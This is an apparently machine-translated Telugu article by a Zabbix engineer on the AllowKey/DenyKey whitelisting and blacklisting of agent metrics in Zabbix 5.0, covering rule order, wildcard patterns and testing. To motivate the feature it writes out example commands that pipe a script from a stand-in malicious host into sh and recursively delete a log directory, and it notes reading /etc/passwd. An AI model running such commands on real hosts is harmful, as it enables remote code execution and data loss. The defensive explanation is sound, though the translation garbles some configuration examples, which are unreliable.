ఏజెంట్ సైడ్ మెట్రిక్ల కోసం బ్లాక్లిస్ట్ మరియు వైట్లిస్ట్ మద్దతు
టిఖోన్ ఉస్కోవ్, ఇంటిగ్రేషన్ ఇంజనీర్, Zabbix
డేటా భద్రత సమస్యలు
Zabbix 5.0 కొత్త ఫీచర్ను కలిగి ఉంది, ఇది Zabbix ఏజెంట్ని ఉపయోగించి సిస్టమ్లలో భద్రతను మెరుగుపరచడానికి మిమ్మల్ని అనుమతిస్తుంది మరియు పాత పరామితిని భర్తీ చేస్తుంది రిమోట్ కమాండ్లను ప్రారంభించండి.
ఏజెంట్-ఆధారిత సిస్టమ్ల భద్రతలో మెరుగుదలలు ఏజెంట్ పెద్ద సంఖ్యలో ప్రమాదకరమైన చర్యలను చేయగలడనే వాస్తవం నుండి ఉత్పన్నమవుతాయి.
- ఏజెంట్ కాన్ఫిగరేషన్ ఫైల్లు, లాగ్ ఫైల్లు, పాస్వర్డ్ ఫైల్లు లేదా ఏదైనా ఇతర ఫైల్ల నుండి గోప్యమైన లేదా ప్రమాదకరమైన సమాచారంతో సహా దాదాపు ఏదైనా సమాచారాన్ని సేకరించవచ్చు.
ఉదాహరణకు, zabbix_get యుటిలిటీని ఉపయోగించి మీరు వినియోగదారుల జాబితా, వారి హోమ్ డైరెక్టరీలు, పాస్వర్డ్ ఫైల్లు మొదలైనవాటిని యాక్సెస్ చేయవచ్చు.
zabbix_get యుటిలిటీని ఉపయోగించి డేటాను యాక్సెస్ చేస్తోంది
గమనిక. సంబంధిత ఫైల్లో ఏజెంట్ రీడ్ పర్మిషన్లను కలిగి ఉంటే మాత్రమే డేటాను తిరిగి పొందవచ్చు. కానీ, ఉదాహరణకు, ఫైల్ /etc/passwd/ వినియోగదారులందరూ చదవగలరు.
- ఏజెంట్ ప్రమాదకరమైన ఆదేశాలను కూడా అమలు చేయగలడు. ఉదాహరణకు, కీ *system.run[]** ఏజెంట్ వైపు ఆదేశాలను అమలు చేసే Zabbix వెబ్ ఇంటర్ఫేస్ నుండి నడుస్తున్న స్క్రిప్ట్లతో సహా నెట్వర్క్ నోడ్లలో ఏవైనా రిమోట్ ఆదేశాలను అమలు చేయడానికి మిమ్మల్ని అనుమతిస్తుంది.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linuxలో, ఏజెంట్ రూట్ అధికారాలు లేకుండా డిఫాల్ట్గా రన్ అవుతుంది, అయితే Windowsలో ఇది సిస్టమ్గా సేవగా నడుస్తుంది మరియు ఫైల్ సిస్టమ్కు అనియంత్రిత ప్రాప్యతను కలిగి ఉంటుంది. దీని ప్రకారం, ఇన్స్టాలేషన్ తర్వాత Zabbix ఏజెంట్ పారామితులకు ఎటువంటి మార్పులు చేయకపోతే, ఏజెంట్ రిజిస్ట్రీ, ఫైల్ సిస్టమ్కు యాక్సెస్ను కలిగి ఉంటాడు మరియు WMI ప్రశ్నలను అమలు చేయగలడు.
మునుపటి సంస్కరణల్లో పరామితి EnableRemoteCommands=0 కీతో కొలమానాలను నిలిపివేయడానికి మాత్రమే అనుమతించబడుతుంది *system.run[]** మరియు వెబ్ ఇంటర్ఫేస్ నుండి స్క్రిప్ట్లను అమలు చేస్తోంది, అయితే వ్యక్తిగత ఫైల్లకు యాక్సెస్ని పరిమితం చేయడానికి, ఏజెంట్తో ఇన్స్టాల్ చేయబడిన వ్యక్తిగత కీలను అనుమతించడానికి లేదా నిలిపివేయడానికి లేదా వ్యక్తిగత పారామితుల వినియోగాన్ని పరిమితం చేయడానికి మార్గం లేదు.
Zabbix యొక్క మునుపటి సంస్కరణల్లో EnableRemoteCommand పరామితిని ఉపయోగించడం
AllowKey/DenyKey
ఏజెంట్ వైపు మెట్రిక్లను అనుమతించడం మరియు తిరస్కరించడం కోసం వైట్లిస్ట్లు మరియు బ్లాక్లిస్ట్లను అందించడం ద్వారా Zabbix 5.0 అటువంటి అనధికార యాక్సెస్ నుండి రక్షించడంలో సహాయపడుతుంది.
Zabbix 5.0లో *తో సహా అన్ని కీలుsystem.run[]** ప్రారంభించబడింది మరియు రెండు కొత్త ఏజెంట్ కాన్ఫిగరేషన్ ఎంపికలు జోడించబడ్డాయి:
AllowKey= - అనుమతించబడిన తనిఖీలు;
DenyKey= - నిషేధిత తనిఖీలు;
మెటాక్యారెక్టర్లను (*) ఉపయోగించే పారామితులతో కూడిన కీ పేరు నమూనా ఎక్కడ ఉంది.
AllowKey మరియు DenyKey కీలు నిర్దిష్ట నమూనా ఆధారంగా వ్యక్తిగత కొలమానాలను అనుమతించడానికి లేదా తిరస్కరించడానికి మిమ్మల్ని అనుమతిస్తాయి. ఇతర కాన్ఫిగరేషన్ పారామితుల వలె కాకుండా, AllowKey/DenyKey పారామితుల సంఖ్య పరిమితం కాదు. చెక్ల ట్రీని సృష్టించడం ద్వారా సిస్టమ్లో ఏజెంట్ ఖచ్చితంగా ఏమి చేయగలరో స్పష్టంగా నిర్వచించడానికి ఇది మిమ్మల్ని అనుమతిస్తుంది - ఎక్జిక్యూటబుల్ కీలు, ఇక్కడ అవి వ్రాసిన క్రమం చాలా ముఖ్యమైన పాత్ర పోషిస్తుంది.
నియమాల క్రమం
కాన్ఫిగరేషన్ ఫైల్లోకి ప్రవేశించిన క్రమంలో నియమాలు తనిఖీ చేయబడతాయి. మొదటి మ్యాచ్కి ముందు నియమాల ప్రకారం కీ తనిఖీ చేయబడుతుంది మరియు డేటా మూలకం యొక్క కీ నమూనాతో సరిపోలిన వెంటనే, అది అనుమతించబడుతుంది లేదా తిరస్కరించబడుతుంది. దీని తర్వాత, రూల్ చెకింగ్ ఆగిపోతుంది మరియు మిగిలిన కీలు విస్మరించబడతాయి.
అందువల్ల, ఒక ఎలిమెంట్ అనుమతించే మరియు తిరస్కరించే నియమం రెండింటికీ సరిపోలితే, ఫలితం కాన్ఫిగరేషన్ ఫైల్లో ఏ నియమం మొదట ఉందో దానిపై ఆధారపడి ఉంటుంది.
ఒకే నమూనా మరియు కీతో 2 విభిన్న నియమాలు vfs.file.size[/tmp/file]
AllowKey/DenyKey కీలను ఉపయోగించే క్రమం:
- ఖచ్చితమైన నియమాలు,
- సాధారణ నియమాలు,
- నిషేధిత నియమం.
ఉదాహరణకు, మీరు నిర్దిష్ట ఫోల్డర్లోని ఫైల్లకు యాక్సెస్ కావాలంటే, మీరు ముందుగా వాటికి యాక్సెస్ను అనుమతించాలి, ఆపై ఏర్పాటు చేసిన అనుమతుల పరిధిలోకి రాని అన్నింటిని తిరస్కరించాలి. తిరస్కరించే నియమాన్ని ముందుగా ఉపయోగించినట్లయితే, ఫోల్డర్కు యాక్సెస్ తిరస్కరించబడుతుంది.
సరైన క్రమం
మీరు * ద్వారా అమలు చేయడానికి 2 యుటిలిటీలను అనుమతించవలసి వస్తేsystem.run[]**, మరియు తిరస్కరణ నియమం ముందుగా పేర్కొనబడుతుంది, యుటిలిటీలు ప్రారంభించబడవు, ఎందుకంటే మొదటి నమూనా ఎల్లప్పుడూ ఏదైనా కీతో సరిపోలుతుంది మరియు తదుపరి నియమాలు విస్మరించబడతాయి.
సరికాని క్రమం
నమూనాలు
ప్రాథమిక నియమాలు
నమూనా అనేది వైల్డ్కార్డ్లతో కూడిన వ్యక్తీకరణ. మెటాక్యారెక్టర్ (*) నిర్దిష్ట స్థానం వద్ద ఏవైనా అక్షరాల సంఖ్యతో సరిపోలుతుంది. మెటాక్యారెక్టర్లను కీ పేరు మరియు పారామీటర్లలో ఉపయోగించవచ్చు. ఉదాహరణకు, మీరు మొదటి పరామితిని టెక్స్ట్తో ఖచ్చితంగా నిర్వచించవచ్చు, మరియు తదుపరిది వైల్డ్కార్డ్గా పేర్కొనండి.
పారామీటర్లు తప్పనిసరిగా చతురస్రాకార బ్రాకెట్లలో ఉండాలి [].
system.run[*
- తప్పుvfs.file*.txt]
- తప్పుvfs.file.*[*]
- కుడి
వైల్డ్కార్డ్ని ఉపయోగించే ఉదాహరణలు.
- కీ పేరులో మరియు పరామితిలో. ఈ సందర్భంలో, కీ పరామితిని కలిగి లేని సారూప్య కీకి అనుగుణంగా లేదు, ఎందుకంటే నమూనాలో మేము కీ పేరు యొక్క నిర్దిష్ట ముగింపు మరియు నిర్దిష్ట పారామితులను స్వీకరించాలనుకుంటున్నాము.
- నమూనా స్క్వేర్ బ్రాకెట్లను ఉపయోగించకపోతే, పారామీటర్లను కలిగి ఉండని అన్ని కీలను నమూనా అనుమతిస్తుంది మరియు పేర్కొన్న పరామితిని కలిగి ఉన్న అన్ని కీలను నిరాకరిస్తుంది.
- కీ పూర్తిగా వ్రాయబడి మరియు పారామితులు వైల్డ్కార్డ్గా పేర్కొనబడితే, అది ఏదైనా సారూప్య కీని ఏదైనా పారామీటర్లతో సరిపోల్చుతుంది మరియు స్క్వేర్ బ్రాకెట్లు లేని కీతో సరిపోలదు, అనగా అది అనుమతించబడుతుంది లేదా తిరస్కరించబడుతుంది.
పారామితులను పూరించడానికి నియమాలు.
- పారామితులతో కూడిన కీని ఉపయోగించాలని భావించినట్లయితే, పారామితులు తప్పనిసరిగా కాన్ఫిగరేషన్ ఫైల్లో పేర్కొనబడాలి. పారామీటర్లు తప్పనిసరిగా మెటాక్యారెక్టర్గా పేర్కొనబడాలి. ఏదైనా ఫైల్కు ప్రాప్యతను జాగ్రత్తగా తిరస్కరించడం మరియు పారామీటర్లతో మరియు లేకుండా - వివిధ స్పెల్లింగ్ల క్రింద మెట్రిక్ అందించగల సమాచారాన్ని పరిగణనలోకి తీసుకోవడం అవసరం.
పారామితులతో కీలను వ్రాయడం యొక్క లక్షణాలు
- పారామితులతో కీ పేర్కొనబడినా, పారామితులు ఐచ్ఛికం మరియు మెటాక్యారెక్టర్గా పేర్కొనబడినట్లయితే, పారామితులు లేని కీ పరిష్కరించబడుతుంది. ఉదాహరణకు, మీరు CPUలో లోడ్ గురించి సమాచారాన్ని స్వీకరించడాన్ని నిలిపివేయాలనుకుంటే మరియు system.cpu.load[*] కీని నిలిపివేయాలని పేర్కొనాలనుకుంటే, పారామితులు లేని కీ సగటు లోడ్ విలువను తిరిగి ఇస్తుందని మర్చిపోవద్దు.
పారామితులను పూరించడానికి నియమాలు
వ్యాఖ్యలు
సర్దుబాటు
- కొన్ని నియమాలను వినియోగదారు మార్చలేరు, ఉదాహరణకు, ఆవిష్కరణ నియమాలు లేదా ఏజెంట్ స్వీయ-నమోదు నియమాలు. AllowKey/DenyKey నియమాలు క్రింది పారామితులను ప్రభావితం చేయవు:
- హోస్ట్ పేరు అంశం
- HostMetadataItem
- HostInterfaceItem
గమనిక. అడ్మినిస్ట్రేటర్ ఒక కీని నిలిపివేస్తే, ప్రశ్నించినప్పుడు, మెట్రిక్ లేదా కీ 'కేటగిరీలోకి ఎందుకు వస్తుంది' అనే దాని గురించి Zabbix సమాచారాన్ని అందించదు.మద్దతు ఇవ్వ లేదు'. రిమోట్ ఆదేశాలను అమలు చేయడంపై నిషేధాల గురించిన సమాచారం ఏజెంట్ లాగ్ ఫైల్లలో కూడా ప్రదర్శించబడదు. ఇది భద్రతా కారణాల దృష్ట్యా, కానీ కొన్ని కారణాల వల్ల కొలమానాలు మద్దతు లేని వర్గంలోకి వస్తే డీబగ్గింగ్ క్లిష్టతరం కావచ్చు.
- బాహ్య కాన్ఫిగరేషన్ ఫైల్లను కనెక్ట్ చేయడానికి మీరు ఏదైనా నిర్దిష్ట ఆర్డర్పై ఆధారపడకూడదు (ఉదాహరణకు, అక్షర క్రమంలో).
కమాండ్ లైన్ యుటిలిటీస్
నియమాలను సెటప్ చేసిన తర్వాత, ప్రతిదీ సరిగ్గా కాన్ఫిగర్ చేయబడిందని మీరు నిర్ధారించుకోవాలి.
మీరు మూడు ఎంపికలలో ఒకదాన్ని ఉపయోగించవచ్చు:
- Zabbixకి మెట్రిక్ జోడించండి.
- తో పరీక్షించండి zabbix_agentd. ఎంపికతో Zabbix ఏజెంట్ -ప్రింట్ (-p) కాన్ఫిగరేషన్ ద్వారా అనుమతించబడనివి మినహా అన్ని కీలను (డిఫాల్ట్గా అనుమతించబడినవి) చూపుతుంది. మరియు ఎంపికతో -పరీక్ష (-t) ఎందుకంటే నిషేధించబడిన కీ తిరిగి వస్తుందిమద్దతు లేని అంశం కీ'.
- తో పరీక్షించండి zabbix_get. వినియోగ zabbix_get ఎంపికతో -k తిరిగి వస్తాను'ZBX_NOTSUPPORTED: తెలియని మెట్రిక్'.
అనుమతించండి లేదా తిరస్కరించండి
మీరు ఫైల్కు ప్రాప్యతను తిరస్కరించవచ్చు మరియు ఉదాహరణకు, యుటిలిటీని ఉపయోగించి ధృవీకరించవచ్చు zabbix_getఫైల్కి యాక్సెస్ నిరాకరించబడింది.
**
గమనిక. పారామీటర్లోని కోట్లు విస్మరించబడ్డాయి.
ఈ సందర్భంలో, అటువంటి ఫైల్కి ప్రాప్యత వేరొక మార్గం ద్వారా అనుమతించబడవచ్చు. ఉదాహరణకు, ఒక సిమ్లింక్ దానికి దారి తీస్తే.
పేర్కొన్న నియమాలను వర్తింపజేయడానికి వివిధ ఎంపికలను తనిఖీ చేయాలని సిఫార్సు చేయబడింది మరియు నిషేధాలను అధిగమించే అవకాశాలను కూడా పరిగణనలోకి తీసుకోండి.
ప్రశ్నలు మరియు జవాబులు
మీ ప్రశ్న. నియమాలు, అనుమతులు మరియు నిషేధాలను వివరించడానికి దాని స్వంత భాషతో అటువంటి సంక్లిష్ట నమూనా ఎందుకు ఎంచుకోబడింది? ఉదాహరణకు, Zabbix ఉపయోగించే సాధారణ వ్యక్తీకరణలను ఉపయోగించడం ఎందుకు సాధ్యం కాలేదు?
సమాధానం. సాధారణంగా ఒక ఏజెంట్ మాత్రమే ఉంటారు మరియు ఇది భారీ సంఖ్యలో కొలమానాలను తనిఖీ చేస్తుంది కాబట్టి ఇది రీజెక్స్ పనితీరు సమస్య. Regex అనేది చాలా భారీ ఆపరేషన్ మరియు మేము ఈ విధంగా వేలాది కొలమానాలను తనిఖీ చేయలేము. వైల్డ్కార్డ్లు - సార్వత్రిక, విస్తృతంగా ఉపయోగించే మరియు సరళమైన పరిష్కారం.
మీ ప్రశ్న. ఇన్క్లూడ్ ఫైల్లు అక్షర క్రమంలో చేర్చబడలేదా?
సమాధానం. నాకు తెలిసినంత వరకు, మీరు వివిధ ఫైల్లలో నిబంధనలను విస్తరింపజేస్తే నియమాలు ఏ క్రమంలో వర్తింపజేయబడతాయో అంచనా వేయడం వాస్తవంగా అసాధ్యం. అన్ని AllowKey/DenyKey నియమాలను ఒక చేర్చు ఫైల్లో సేకరించాలని నేను సిఫార్సు చేస్తున్నాను, ఎందుకంటే అవి ఒకదానితో ఒకటి పరస్పర చర్య చేస్తాయి మరియు ఈ ఫైల్తో సహా.
మీ ప్రశ్న. Zabbix 5.0లో ఎంపిక 'EnableRemoteCommands=' కాన్ఫిగరేషన్ ఫైల్ నుండి లేదు మరియు AllowKey/DenyKey మాత్రమే అందుబాటులో ఉందా?
సమాధానం. అవును అది ఒప్పు.
Спасибо!
మూలం: www.habr.com